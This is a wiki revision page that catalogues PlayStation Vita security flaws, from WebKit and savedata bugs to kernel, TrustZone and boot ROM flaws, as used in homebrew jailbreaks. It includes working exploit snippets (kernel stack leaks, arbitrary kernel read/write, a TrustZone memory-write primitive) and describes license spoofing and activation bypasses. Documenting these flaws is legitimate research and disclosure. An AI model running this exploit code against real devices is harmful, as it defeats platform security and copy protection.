Vulnerabilities: Difference between revisions
CelesteBlue (talk | contribs) Tags: mobile edit mobile web edit |
|||
Line 772: | Line 772: | ||
On FW 0.995.070 or lower, there is an unused zero filled area after RSA signature, but that part is not hash verified. So any data can be re-encrypted and packed in the zero filled area that follows the RSA signature. | On FW 0.995.070 or lower, there is an unused zero filled area after RSA signature, but that part is not hash verified. So any data can be re-encrypted and packed in the zero filled area that follows the RSA signature. | ||
On FW 3.60, the SELF header size is 0x1000 bytes, the RSA signature offset is 0xF00 bytes, and the RSA signature size is 0x100 bytes, so there is no unused zero filled area. | |||
Fixed on FW 0.996.070. | Fixed on FW 0.996.070. |
Revision as of 10:18, 17 November 2020
Userland
WebKit exploits
WebKit exploits in Email app
Implemented by xyz, in order HENkaku to be launched offline.
See xyz's writeup.
WebKit 531.22.8 (Vita FW <= 1.81) (CVE-2010-4577 and CVE-2010-1807)
There are two exploits used for WebKit prior to 2.00. One is a data leakage exploit CVE-2010-4577 [1] using type confusion to treat a double as a string memory address and length. The other is a type confusion exploit CVE-2010-1807 on the parseFloat() function using a Nan as the arg. [2]
WebKit 536.26 (Vita FW 2.00-3.20) (CVE-2012-3748) (PSA 2013-09-03-1)
Ported to PSVita by many many people. Patched on FW 3.30.
The heap memory buffer overflow vulnerability exists within the WebKit's JavaScriptCore JSArray::sort(...) method. This method accepts the user-defined JavaScript function and calls it from the native code to compare array items. If this compare function reduces array length, then the trailing array items will be written outside the "m_storage->m_vector[]" buffer, which leads to the heap memory corruption.
Packet Storm Exploit 2013-0903-1 - Apple Safari Heap Buffer Overflow
WebKit 537.73 (as used in Vita FW 3.30-3.36) (CVE-2014-1303)
Ported to PSVita by xyz. Patched on FW 3.50.
The CSSSelectorList can be mutated after it's allocated. If the mutated list contains less entries than the original one, a restrictive 1-bit OOB write can be achieved. [3] [4] [5]
WebKit 537.73 (as used in Vita FW 3.30-3.60) (JSArray::sortCompactedVector)
Discovered by xyz. Implemented in HENkaku by Molecule Team. Patched in FW 3.61 (see how it was patched).
The JSArray::sort method has a heap use-after-free vulnerability. If an array containing an object with a custom toString method is sorted, and the toString method causes the array to be reallocated, then the sorted elements will be written to the old freed address.
xyz's writeup about 3.60 webkit exploit
xyz's writeup about ROP in webbrowser
3.60 webkit exploit source code by xyz
3.60 webkit exploit commented code by St4rk
WebKit 537.73 (as used in Vita FW 3.30-3.73) (to be disclosed)
It will be released at the same time as xyz and St4rk' next PSVita kernel exploit, named 2050 or 2051. TheFloW also has a WebKit exploit and it may be the same or different than xyz and St4rk'. No WebKit exploit should be disclosed before a PSVita 3.74 FW is released and patches hencore-2 kernel exploit.
Working on <= 3.73. Not patched yet.
PSM (PlayStation Mobile) exploits
PSM apps for PSVita were removed from the PSStore in 2015. Nevetheless, a set of tricks allow to install and use PSM on any PSVita on FW <=3.51.
PSM apps can't work on FW >=3.52 because they are blacklisted in PSVita OS (in F00D). This can be bypassed only with a kernel exploit and ref00d plugin.
PSM Dev For Unity can be installed without PSStore
PSM Dev For Unity is packed into a DRM-free .pkg. It can so be installed using PKG Installer, or BGDL .pkg trick. Not patchable.
PSM+
PSM developper license can be spoofed using filesystem write access and signed with keys.
PSM Mono privilege escalation
See writeup by yifan lu.
PSM Unity privilege escalation
UnityEngine.dll is a trusted assembly (SecurityCritical) and is not signed (can be modified). However, the actual file at ux0:app/PCSI00009/managed/UnityEngine.dll
is PFS signed and encrypted, making this (and any) resource based hacks just as difficult as unsigned code execution hacks (which is the original goal).
PSM NetworkRequest privilege escalation
NetworkRequest.BeginGetResponse(AsyncCallback callback) invokes callback with SecurityCritical
allowing for a privilege escalation. Unfortunately, Sony closed down the scoreboards feature [6] which means that Network.AuthGetTicket() fails and Network.CreateRequest() cannot be invoked. There is no other way of creating a NetworkRequest object.
using System; using System.Security; using System.Runtime.InteropServices; using Sce.PlayStation.Core.Services; namespace NetHax { public class AppMain { [SecurityCritical] public static void Escalate (IAsyncResult result) { Console.WriteLine("Should be SecurityCritical"); IntPtr ptr = Marshal.AllocHGlobal(1000); Console.WriteLine("Look at me allocating memory: 0x{0:X}", ptr); } public static void Main (string[] args) { Network.Initialize("af1c0a1b-a7b8-4597-a022-eee91e6735d1"); Network.AuthGetTicket(); NetworkRequest req = Network.CreateRequest(NetworkRequestType.Get, "", ""); IAsyncResult result = req.BeginGetResponse(new AsyncCallback(Escalate)); while (!result.IsCompleted) { Console.WriteLine("waiting..."); } Console.WriteLine("Completed!"); } } }
Game savedata exploits
Discovered in 2015 by TheFlow. Released on 2018-06-29.
This sort of exploit works in theory on any firmware (not patchable, or hardly).
Savedata exploits VS WebKit exploits
h-encore uses a different entry point than its predecessor HENkaku. Instead of a WebKit exploit, it is using a gamesave exploit. The reason for that is after firmware 3.30 or so, Sony introduced sceKernelInhibitLoadingModule() in their browser, which prevented us from loading additional sysmodules. This limitation is crucial, since this was the only way we could get more syscalls (than the browser uses), as they are randomized at boot and only assigned to syscall slots if any user module imports them. h-encore needs to load SceNgsUser, a sysmodule vulnerable to kexploits.
Old games do not have ASLR
The reason why a gamesave exploit is possible on such a system is because games that were developed with an SDK 2.60 and lower were compiled as a statically linked executable, thus their loading address is always the same, namely 0x81000000, and they cannot be relocated to an other region. They also don't have stack protection enabled by default, which means that if we can stack smash in such a game, we can happily do ROP.
Patched on games developed with 2.60 and newer SDKs.
Method for finding a savedata bug
Looking for gamesave exploits is a boring process, you just fuzz gamesaves by writing random stuff at random locations until you get a crash (best bet is extending strings and hope that you can smash the stack).
Bittersmile game buffer overflow (h-encore)
Bittersmile game found exploitable on 2018-02-17 by Freakler. Implemented in h-encore by TheFloW.
The bug relies on the parser of the bittersmile game. The gamesave is actually a text file and the game reads it line by line and copies them to a list of buffers. However it doesn't validate the length, thus if we put the delimiter \n far away such that the line is longer than the buffer can hold, we get a classic buffer overflow. If this buffer is on stack, we can make it overwrite the return address and straightly execute our ROP chain. However it is on the data section, but luckily for us, the content after the buffer is actually the list that contained destinations for other lines. This means that if we overflow into the list and redirect the buffer, we can copy the next line to wherever we want and therefore enable us an arbitrary write primitive.
Not patchable. Bittersmile game requires minimal FW ?2.50? to run.
Youtube Stack Pointer control vulnerability
There was a vulnerability in the Youtube application that could allow to manipulate sp.
But this vulnerability is not interesting because Sony removed the Youtube app from the PSStore, it's not DRM Free and it cannot be exploited easily.
PSP Emulator escape
See Trinity writeup by TheFloW.
Why hack the PSP Emulator? Why not WebKit/games?
The PSP Emulator runs at system privileges which are equivalent to root. By gaining control over the emulator, we are exposed to almost ALL syscalls, unlike the WebKit process that is sandboxed. Similarly, the previous jailbreak h-encore exploited a gamesave vulnerability such that it could invoke the NGS syscalls.
Buffer overflow in ScePspemuRemoteNet-KERMIT_CMD_ADHOC_CREATE
Discovered on 2018-05-26 by TheFloW. Implemented in Trinity by TheFloW.
Fixed on 3.71.
CSC doesn’t sanitize check the row number (arbitrary userland memory read)
Discovered on 2018-06-04 by TheFloW. Implemented in Trinity by TheFloW.
Fixed on 3.71.
System
PSVita can use PSP/PS3 PSStore licenses
PSVita can use .rif downloaded from PSVita, PSP, or PS3 (ReStore by CelesteBlue).
PSVita can use PSP or PS3 act.dat if we spoof ConsoleId (idps) and OpenPSID (ReNpDrm by CelesteBlue).
This means that Sony can securize PSVita's store as much as they want, we will always be able to activate til PS3 store is not secure.
PSStore Activation server does not check challenge anymore
Since May 2018, the challenge string in requests sent from PSVita to PSN for Content and PSN Account activations is not checked anymore server-side.
This means that to activate PSVita, we only have to spoof firmware version for bypassing FW Update popup, and we also have to spoof a recent PSN passcode key in SceShell. Both are done by taiHEN (in henkaku.suprx). This also means ReStore and ReNpDrm are not needed anymore.
Kernel
Syscall handler doesn't check syscall id (integer overflow)
Discovered on 2015-07-03 by Molecule Team.
A large syscall id passed in R12 can overflow syscall table and cause an arbitrary kernel function pointer to be dereferenced then executed.
Tested on 1.50-1.60. Patched on 1.61.
Syscall handler leaks syscall table vaddr
Calling svc with an invalid syscall id will end the svc interrupt without clearing syscall table vaddr in r0.
Tested on 1.50. ?Patched on 1.61?
Syscall table another reference
If know the idx of any syscall in the library, can calculate the idx difference of the syscall function in the library and call another syscall that has not been imported into the process.
The syscall function referenced by this exploit must already be imported by another process and mapped to a syscall table.
Stack buffer overflow in sceSblDmac5EncDec
Discovered on 2014-09-16 by Molecule Team. Implemented in xyz's 1.61 exploit chain in 2016, then in CelesteBlue's QuickHEN_PSVITA.
SceSblDmac5Mgr_sceSblDmac5EncDec
This function: reads in 0x18 bytes from first arg processes a little then: ROM:005F711A MOV R1, R11 ROM:005F711C ADD R0, SP, #0x88+var_70 ROM:005F711E MOV.W R2, R10,LSR#3 ROM:005F7122 BLX _import_SceSblSsMgr_SceSysmemForDriver_sceKernelMemcpyUserToKernelForDriver R10 comes from original read in buffer+0x10
Tested on 1.61. Patched on 1.80. They also added an IsShell check.
Kernel stack leak in sceIoDevctl
Discovered on 2014-11-24 by Molecule Team. Used in HENkaku by Molecule Team.
Tested successfully on firmware 0.995 in fself. Since at least firmware 1.030, it works only via webkit (not fself nor games but maybe ePSP or PSM) exploits.
Call some interesting functions that interest you in a kernel context (call some damn syscalls, for example sceIoOpen). Then call sceIoDevctl and get upto 0x3FF bytes of that stack!
// make a buffer, tagged with '0x66' bytes char outbuf[0x400]; memset(outbuf, 0x66, 0x400); sceIoOpen("molecule0:", 0, 0); // populate kernel stack // kernel stack leak to outbuf sceIoDevctl("sdstor0:", 5, "xmc-lp-ign-userext", 0x14, &outbuf, 0x3FF); // check if our data was actually written to outbuf hex_dump("kstack", (unsigned char*) outbuf, 0x400);
Fixed in 3.61.
Heap use-after-free in sceNetSyscallIoctl
Discovered on 2016-04-05 by Molecule Team. Implemented in HENkaku by Molecule Team.
See xyz's writeup.
sceNetSyscallIoctl is declared as int sceNetSyscallIoctl(int s, unsigned flags, void *umem)
. When memsz = (flags_ >> 16) & 0x1FFF
is in range (0x80; 0x1000], it will use SceNetPs custom malloc to allocate a buffer of that size on the heap.
However, the second argument to malloc is 0, meaning that when not enough memory is available instead of returning NULL, it unlocks the global SceNetPs mutex and waits on a semaphore.
Then, while malloc is waiting, another thread can free the socket sceNetSyscallIoctl is operating on, causing a use-after-free condition.
When passed proper arguments, sceNetSyscallIoctl will execute a function from the socket's vtable at the end:
v13 = (*(int (__fastcall **)(int, signed int, unsigned int, char *))(*(_DWORD *)(socket + 24) + 28))( socket, 11, flags_, mem_);
Fixed in 3.63. See how it was fixed.
3 kernel exploits on DevKit by TheFloW
Patched on 3.68 or on FWs just before. These exploits are not usable on retail/testkit because the used functions are exported only by DevKit modules.
Kernel stack leak in sceMotionDevGetEvaInfo
This can be used to defeat kernel ASLR on DevKit on FW < 3.68.
uint32_t info[0x12]; int leak_kstack_addr_motiondev() { uint32_t ret; // 1) Call a function (syscall) that writes sp to kernel stack ret = sceAppMgrLoadExec(NULL, NULL, NULL); // 2) Leak kernel stack ret = sceMotionDevGetEvaInfo(&info); if (ret < 0) printf("sceMotionDevGetEvaInfo returned: 0x%08X\n"); // 3) Get kernel stack address return info[3] & 0xFFFFF000; } int leak_sysmem_addr_motiondev() { uint32_t ret; // 1) Call a function (syscall) that writes sp to kernel stack ret = sceAppMgrLoadExec(NULL, NULL, NULL); // 2) Leak kernel stack to info buffer ret = sceMotionDevGetEvaInfo(&info); if (ret < 0) printf("sceMotionDevGetEvaInfo returned: 0x%08X\n"); // 3) Get SceSysmem kernel module text segment base address return (info[0] - 0x27000) & 0xFFFF0000; // SceSysmem base address resolving for any FW, method found by CelesteBlue }
sceNgsVoiceDefinitionGetPresetInternal insufficient checks (arbitrary kernel read)
sceNgsVoiceDefinitionGetPresetInternal does a memcpy from kernel to userland and does not do sufficient checks to prevent out of bounds arbitrary kernel read.
FW 0.990 pseudo-C:
SceUInt32 sceNgsVoiceDefinitionGetPresetInternal(SceNgsVoiceDefinition *pVoiceDefn, SceUInt32 uPresetIndex, SceNgsVoicePreset *pVoicePreset) { SceUInt32 is_kernel_addr; SceUInt32 ret; SceUInt32 uVar1; SceInt32 syscall_state; ENTER_SYSCALL(syscall_state); is_kernel_addr = is_kernel_addr(); if ((pVoicePreset == (SceNgsVoicePreset *)0x0) || (pVoiceDefn != (SceNgsVoiceDefinition *)0x0) || (is_valid_vaddr(pVoicePreset, 4, is_kernel_addr) == 0)) ret = SCE_NGS_ERROR_INVALID_PARAM; else { if (uPresetIndex < (SceUInt32)pVoiceDefn->uNumVoicePresets) { copyout(pVoicePreset, (void *)((SceInt32)&pVoiceDefn->uMagic + uPresetIndex * 0x18 + pVoiceDefn->nVoicePresetsOffset), 4, is_kernel_addr); ret = 0; } else ret = SCE_NGS_ERROR_PARAM_OUT_OF_RANGE; } EXIT_SYSCALL(syscall_state); return ret; }
See original full exploit code by TheFloW here.
Also reimplemented by CelesteBlue here.
And detailed code by CelesteBlue:
// Read 4 bytes from kernel memory to userland int kernel_read_ngs_word(void *dst, const void *src) { // 0) Get kernel stack address void *kstack_addr = leak_kstack_addr(); // 1) Setup exploit data SceUInt32 KSTACK_DEVCTL_OFFSET = 0xAF0; // 0xF20 for 1.50-1.61, 0xB20 for 1.692, 0xAF0 for 3.55-3.68 #define VOICEDEF_PRESET_LIST_OFFSET_OFFSET 0x30 SceNgsVoiceDefinition *pVoiceDefn = kstack_addr + KSTACK_DEVCTL_OFFSET; // pVoiceDefn is a kernel pointer const SceUInt32 uPresetIndex = 0; // the simplest, 0 is nice because it simplifies multiplications SceNgsVoicePreset *pVoicePreset = dst; SceNgsVoiceDefinition voiceDefn; // Set voiceDefn.nVoicePresetsOffset to read out of bounds: // src = (void *)((SceInt32)pVoiceDefn + uPresetIndex * 0x18 + *(SceInt32 *)pVoiceDefn->nVoicePresetsOffset) // src = (void *)((SceInt32)pVoiceDefn + *(SceInt32 *)pVoiceDefn->nVoicePresetsOffset) (by taking uPresetIndex = 0) // src = kstack_addr + KSTACK_DEVCTL_OFFSET + *(SceInt32 *)pVoiceDefn->nVoicePresetsOffset // *(SceInt32 *)pVoiceDefn->nVoicePresetsOffset = src - (kstack_addr + KSTACK_DEVCTL_OFFSET) voiceDefn.nVoicePresetsOffset = (SceUInt32)src - (SceUInt32)pVoiceDefn; // Set voiceDefn.uNumVoicePresets to 0xFFFFFFFF because uPresetIndex = 0 so we must have (uPresetIndex < (SceUInt32)pVoiceDefn->uNumVoicePresets) voiceDefn.uNumVoicePresets = 0xFFFFFFFF; // 1) Write exploit data into kernel stack sceIoDevctl("", 0, &voiceDefn, sizeof(SceNgsVoiceDefinition), NULL, 0); // 2) Call vulnerable function // Trigger sceKernelCopyToUserForDriver(pVoicePreset, // (void *)((SceInt32)&pVoiceDefn->uMagic + uPresetIndex * 0x18 + pVoiceDefn->nVoicePresetsOffset), 4); return sceNgsVoiceDefinitionGetPresetInternal(pVoiceDefn, uPresetIndex, pVoicePreset); } void kernel_read_ngs(void *dst, const void *src, SceUInt32 len) { for (SceUInt32 i = 0; i < size; i += 4) kernel_read_ngs_word(dst + i, src + i); }
sceKernelGetMutexInfo_089 can write into kernel memory
sceKernelGetMutexInfo_089 should have been exported only as a kernel function, but Sony mistakenly exported it as a usermode function.
The vulnerability is a restricted kernel write from userland, because it executes a memcpy with controlled destination, where destination must not necessarily be in usermode.
The copied data cannot be totally controlled because it must follow SceKernelMutexInfo structure. Maximum copied size in one call is 0x40 bytes.
// usermode export int sceKernelGetMutexInfo_089(SceUID mutexid, SceKernelMutexInfo *pInfo) { int res; SceUID kernel_mutexid; void *a_ptr; kernel_mutexid = scePUIDtoGUIDForDriver(0, mutexid); if (kernel_mutexid < 0) return 0xC0028141; res = sceKernelGetMutexInfo_089ForDriver(kernel_mutexid, pInfo); if (res < 0) return res; pInfo->mutexId = mutexid; res = SceSysmemForKernel_86E83C0D(0, mutexid, &a_ptr); if (res < 0) return res; a4 = *(uint32_t *)(a_ptr) << 0xC; FLAGS = a4; if (N == 0) // signed > 0 goto loc_8102D744; *(uint32_t *)((int)pInfo + 0x28) |= 0x80000; loc_8102D744: return res; } // kernel export int sceKernelGetMutexInfo_089ForDriver(SceUID mutexid, SceKernelMutexInfo *pInfo) { int state; int res; void *a_ptr; SceKernelMutexInfo mutex_info; ENTER_SYSCALL(state); if (pInfo == NULL) { res = 0x80020006; goto loc_8100E862; } if ((uint32_t)(pInfo->size) > 0x40) { res = 0x8002000B; goto loc_8100E862; } res = sub_8100D344_get_mutex_info_by_id(mutexid, &mutex_info); if (res < 0) goto loc_8100E862; asm("mrc p15, #0, r3, c13, c0, #3\n"); a4 = a4 << 0xF; FLAGS = a4; if (N == 0) // signed > 0 goto loc_8100E852; if (mutex_info.currentOwnerId != 0) { res = sceKernelGUIDGetObjectForDriver(mutexid, &a_ptr); if (res < 0) goto loc_8100E862; mutex_info.currentOwnerId = *(uint32_t *)(*(uint32_t *)(a_ptr) + 0xC0); } loc_8100E852: memcpy(pInfo, &mutex_info, ((uint32_t)(pInfo->size) >= 0x40) ? 0x40 : pInfo->size); // Kernel write here loc_8100E862: EXIT_SYSCALL(state); return res; }
The exploit was patched in FW 3.68:
// usermode export int sceKernelGetMutexInfo_089() { return 0x80028141; // SCE_KERNEL_ERROR_UNKNOWN_MUTEX_ID }
PoC:
sceKernelGetMutexInfo_089(some_mutex_uid, (SceKernelMutexInfo *)0x18E2540); /* Kernel memory dump after exploit: 0x018E2540 : 25 00 00 00 00 FF 00 00 01 00 00 00 05 00 01 00 0x018E2550 : FF FF FF FF 2D 91 07 00 55 55 00 00 3B 57 A2 00 0x018E2560 : 00 00 02 00 78 56 34 12 00 09 00 00 FF FF FF FE */
In this PoC, 0x25 bytes at kernel vaddr 0x18E2540 are overwritten with a mutex info structure.
SceNgs design flaws (h-encore)
Discovered on 2018-02-04 by TheFloW and successfully exploited four days later. Released on 2018-06-29 in h-encore by TheFloW.
Should be exploitable at least on 3.00 and up to 3.68. Fixed in 3.69.
Some functions in SceNgs take a kernel pointer (xor'ed with a known static value) from the user.
This can be used to partially defeat kASLR and also as an out-of-bounds exploit to get kernel execution.
Writeup and source code.
Kernel stack address leak using sceNgsRackGetRequiredMemorySize
Write-up about h-encore kstack leak.
IMPORTANT: On old firmwares (at least until FW 1.692) the voice definition address MUST NOT be xored (else SCE_NGS_ERROR_INVALID will be returned by sceNgsRackGetRequiredMemorySize function).
Below is a working implementation tested on FWs 0.995 and 1.692 (using the 1.692 DEVCTL_STACK_FRAME allows to get the kstack address faster on that firmware).
#define DEVCTL_STACK_FRAME 0x728 // value specific for 1.692 SceInt32 gRet = 0; SceUInt32 leak_kstack_addr_ngsuser(SceNgsHSynSystem synSys, SceUInt32 paramsize) { // exploit and ROP code by TheFloW - C code by LemonHaze SceInt32 ret = 0; SceNgsRackDescription rackDesc; rackDesc.nChannelsPerVoice = 1; rackDesc.nVoices = 1; rackDesc.nMaxPatchesPerInput = 0; rackDesc.nPatchesPerOutput = 1; unsigned int voiceDef[0x400]; memset(voiceDef, 0x00, 0x400); voiceDef[0] = SCE_NGS_VOICE_DEFINITION_MAGIC; voiceDef[1] = SCE_NGS_VOICE_DEFINITION_FLAGS; voiceDef[2] = 0x40; voiceDef[3] = 0x40; sceIoDevctl("", 0, voiceDef, 0x3FF, NULL, 0); sceKernelDelayThread(2*1000*1000); for (unsigned int addr=DEVCTL_STACK_FRAME; addr < 0x3000000; addr+= 0x1000) { rackDesc.pVoiceDefn = (struct SceNgsVoiceDefinition*)(addr); ret = sceNgsRackGetRequiredMemorySize(synSys, &rackDesc, ¶msize); gRet = ret; if (ret == SCE_NGS_ERROR_INVALID_PARAM) continue; else return (addr-DEVCTL_STACK_FRAME); } return -1; }
2 memcpy bugs (used in h-encore)
Discovered by TheFloW.
Should be exploitable on any firmware up to 3.69. Could even be vulnerable at other levels (TrustZone?, NS KBL?).
The 2 following bugs are exploited when using a negative length memcpy in order to use OOB without having a too big copied buffer nor triggering a segmentation fault.
memcpy integer overflow
If len is negative, the addition with dst will yield a value smaller than dst due to an integer overflow and as a consequence, the comparison later in the code will result in false, no matter if it is a signed or unsigned comparison, and thus it believes that there are less than 32 bytes to copy.
memcpy length comparizon as signed integer
At some point in memcpy function, the length is compared as signed integer. Hence a negative length will simply bypass the copy loop.
Kernel stack leak in sceUdcdGetDeviceInfo
Discovered on 2018-10-09 by TheFloW. Implemented in Trinity by TheFloW.
Fixed on 3.71.
Heap overflow in WLAN command 0x50120004
Discovered on 2018-09-26 by TheFloW. Implemented in Trinity by TheFloW.
Fixed on 3.71.
Kernel heap pointer leak in sceKernelGetLibraryInfoByNID
Discovered by Princess of Sleeping on 2019-12-17.
Leaks kernel heap pointer, but probably not useful.
See SceKernelModulemgr#sceKernelGetLibraryInfoByNID.
Non-Secure Kernel Boot Loader (NSKBL)
Ensō
Released on 2017-07-29 by Team Molecule. Patched in 3.67.
Buffer overflow during eMMC init
2016 - Yifan Lu discovers a buffer overflow in NSKBL that occurs during eMMC initialization. With kernel execution we can mod eMMC MBR to change block size. However at this time yifan was trying to exploit it with an adjacent malloc (controlled_size) and couldn't find a way so he just left it there.
Logic flaw about error checking
2017-04-30 - xyx finds a way to exploit the NSKBL eMMC buffer overflow. He discovers a logic flaw related to error code propagation in NSKBL. A function does not check a error return: if it did then the corrupted value in buffer overflow would not have been used. And later on the field that was written was used in a separate call.
It so allows for a usable buffer overflow in the data section and early code execution on ARM in non-secure privileged mode.
Secure World (TrustZone)
A 1.80 TrustZone modules imports/exports list is available File:Psvita 1.80 tz nids.txt
SMC 0x12F does not validate arguments (arbitrary read/write and code execution)
Discovered on 2017-01-01 by Mike H. No public implementation except RW primitive in write-up.
See also sceSblSmSchedProxyGetStatusForKernel.
SMC 0x12F (sceSblSmSchedGetStatusMonitorCall) takes two unchecked arguments: req_id
and area
.
req_id
is a pointer to TrustZone memory in the form of (tz_addr >> 0x01)
and area
is an integer value calculated as ((shared_mem_blk_addr - shared_mem_base_addr) / 0x80)
.
By passing the right value as req_id
, SMC 0x12F will read 8 bytes from (tz_addr + 0x28)
and return them at (shared_mem_base_addr + index * 0x80)
which translates to a TrustZone arbitrary memory leak (8 bytes only).
By passing the right value as area
it is also possible to write the leaked data into an arbitrary TrustZone memory region.
The non-secure Kernel sees the shared memory region at 0x00400000
(size is 0x5000 bytes) and the Secure Kernel sees the exact same memory region at 0x00560000
, thus making it possible to plant data inside the non-secure Kernel's region and having the SMC copy this data somewhere into TrustZone memory (e.g.: TrustZone SceExcpmgr SMC table). This results in TrustZone level arbitrary code execution.
Example code exploiting this vulnerability to write 8 bytes from non-secure Kernel to TrustZone:
void tz_memcpy_8(uintptr_t dst, const void *src) { memcpy((void *)0x00400028, src, 8); uintptr_t req_id = 0x00560000 >> 1; uintptr_t area = (dst - 0x00560000) / 0x80; asm volatile( "mov r0, %0\n\t" "mov r1, %1\n\t" "mov r12, #0x12F\n\t" "smc #0\n\t" : : "r"(req_id), "r"(area) : "r12" ); }
To achieve code execution in TrustZone, it is needed to set dst to the SMC table address in order to plant 2 pointers (8 bytes = 2 pointers * 4 bytes).
Patched somewhere around after FW 1.80 before FW 2.10.
Hardware
DMAC5 crypto engine allows overwrite of partial AES key allowing for key recovery
(2017-02-01) The Dmac5 crypto engine, accessible from the kernel, allows writing 4 bytes of key material at a time.
This makes it possible to recover plaintext AES keys via bruteforce.
Bigmac allows partial overwrite of previous AES operation result allowing for derived key recovery
(2017-04-21) Bigmac crypto engine, accessible from F00D, has the following vulnerabilities:
- it leaves result of previous AES operation in the internal buffer that will be reused in the next AES operation
- it allows AES input data of less than 16 bytes (1 block) without adding padding
This makes it possible to recover plaintext Bigmac keyslots derived keys via bruteforce.
See [9].
Petite Mort
(2018-07-27) jebaited, not an exploit. Just tools used to glitch bootrom.
F00D exception vectors reused as SLSK load buffer
(2018-07-27) When an ENC is loaded by the bootrom, it is first read to 0x40000
which is the uncached alias of 0x800000
(both are F00D-only private memory) and then later decrypted to the final address it is executed from. However, 0x40000
is also where the exception vectors lie. By the time the SLSK is read, the exception vectors are stale and therefore the memory is safe to reuse. Interrupts are disabled, so we cannot use those. Exceptions, however cannot be disabled in hardware. Unfortunately, there is no way to trigger any exception from bootrom code (which is why Sony thought it would be safe to re-use the buffer). Below is a summary of all the exceptions and why they are not possible.
Exception | Offset | Reason |
---|---|---|
Reset | 0x0 | Requires hardware reset signal |
NMI | 0x4 | Requires hardware NMI signal |
RI | 0x8 | No reserved instructions used |
ZDIV | 0xC | DIV/DIVU instructions are used in one place but safe from /0 bugs |
BRK | 0x10 | BRK instruction not used |
SWI | 0x14 | SWI/STC instructions not used |
DSP | 0x18 | No DSP unit |
COP | 0x1C | No coprocessor unit |
However, through Glitching, we can inject a fault in either the decoding or execution units of the processor and trigger one of these exceptions. By writing a fake [[Enc|ENC] file that actually masquerades as a F00D exception handler table that all points to our payload, we can execute F00D code at bootrom time (before bootrom is unmapped). This is a very desirable glitching target because it almost requires no precision (any instruction anywhere can be "corrupted" into something that triggers an exception) and allows for "spray and pray" style of glitch attacks. In practice, we found this target to have an insanely high success rate.
In the bootrom there are two SLSK load paths. The first one is used at initial boot to read Second Loader from the eMMC. In this path, the minimum payload size is 0x200 bytes because at most 1 eMMC block must be read. The second path is used in early boot to read the Secure Kernel ENC file which is loaded from the SLB2 partition by ARM TZ processor to volatile memory. This second path is more difficult to reach because it requires a handshake between F00D ("you are allowed to reset me") and ARM TZ ("I am going to reset F00D"). However, as long as both F00D and ARM TZ are pwned post-boot, the second path can be triggered.
The advantage of the first path is that it is easier and faster to trigger (always hits on first boot). The disadvantages are that it corrupts the first 0x200 bytes of F00D memory (which we might want to dump) and that it requires "bricking" the device (because second loader is replaced by our payload). Note that with a proper hardware flasher and a backup beforehand, it is possible to unbrick a corrupted second loader.
The advantage of the second path is that it does not require a hardware flasher and that it only corrupts 0x40 bytes of F00D memory. The disadvantage is that it requires more work to trigger (code execution both in ARM TZ and F00D) and it takes longer to trigger (since you have to boot the system to a point where you can pwn F00D and ARM TZ).
Boot ROM ENC buffer overflow
(2019-08-30) The development boot ROM does not check ENC header correctly. Specifically, the "code size" field (at offset 0x10) is only checked after adding it to "offset to code". The calculation can overflow, for example, when code_size == -offset_code
. Further, when loading an ENC binary from ARM, the size to copy in is calculated with (scratch->code_size + scratch->offset_code) - 0x40
. Now that the sum of code_size and offset_code is 0, this calculation would underflow to -0x40, or 0xffffffc0, resulting in a huge amount of data being copied in and overwriting parts of the boot ROM.
F00D Processor
second_loader
moth exploit
(2019-02-05) second_loader does not check idstorage minimum firmware version padding after decryption. In order to verify the minimum firmware version number, the binary blob from idstorage is decrypted using a console-specific key, verified using RSA, then decrypted again using a different console-specific key. At no point does it check that the padding of the final decryption is valid. This lets us transplant the block from one console to another by decrypting the outer layer on the donor console and encrypting it on the target. As the second key is different on the target console, after the final decryption we end up with random garbage. However, because the version number is a 4-byte integer, with a probability of 1/256 the major byte of the version would be 00, resulting in a minimum firmware of "0.garbage". This effectively lets us bypass the minimum firmware check implemented in second_loader and downgrade below the minimum firmware, provided that enough samples of the signed blob are collected.
Warning: second_loader sets SNVS handshake key partials by encrypting some hardcoded data with a per-console key; but it uses different data (and non-encrypted) if the minimum firmware version is lower than 0x996000 which, on release units, may lead to secure world not being able to read SNVS.
secure_kernel
octopus exploit
(2017-02-18) secure_kernel module loading does not check source address and therefore provides an oracle allowing for memory dump. See https://teammolecule.github.io/35c3-slides/
Fixed in 1.80.
Heap buffer overflow in update_service_sm
(2017-02-23) A heap buffer overflow exists in update_service_sm.[10]
kprx_auth_sm
packed exploit
(2020-11-16 by PrincessOfSleeping) kprx_auth_sm verifies SELF header with RSA signature when loading module, but on FW 0.995.070 or lower there is a problem with the location of the RSA signature.
The hash included in the RSA signature is sha256 from the beginning of the header to the position of the RSA signature.
On FW 0.995.070 or lower, there is an unused zero filled area after RSA signature, but that part is not hash verified. So any data can be re-encrypted and packed in the zero filled area that follows the RSA signature.
On FW 3.60, the SELF header size is 0x1000 bytes, the RSA signature offset is 0xF00 bytes, and the RSA signature size is 0x100 bytes, so there is no unused zero filled area.
Fixed on FW 0.996.070.
References
- ↑ https://code.google.com/p/chromium/issues/detail?id=63866
- ↑ http://imthezuk.blogspot.com/2010/11/float-parsing-use-after-free.html
- ↑ https://www.blackhat.com/docs/eu-14/materials/eu-14-Chen-WebKit-Everywhere-Secure-Or-Not.PDF
- ↑ https://www.blackhat.com/docs/eu-14/materials/eu-14-Chen-WebKit-Everywhere-Secure-Or-Not-WP.pdf
- ↑ https://cansecwest.com/slides/2015/Liang_CanSecWest2015.pdf
- ↑ http://community.eu.playstation.com/t5/Announcements-Events/PSM-scoreboard-service-is-closing/td-p/21263959
- ↑ https://yifan.lu/2017/02/19/psvimgtools-decrypt-vita-backups
- ↑ https://github.com/yifanlu/psvimgtools/tree/master/dump_partials
- ↑ https://lolhax.org/2019/01/02/extracting-keys-f00d-crumbs-raccoon-exploit
- ↑ https://yifan.lu/2019/01/11/the-first-f00d-exploit/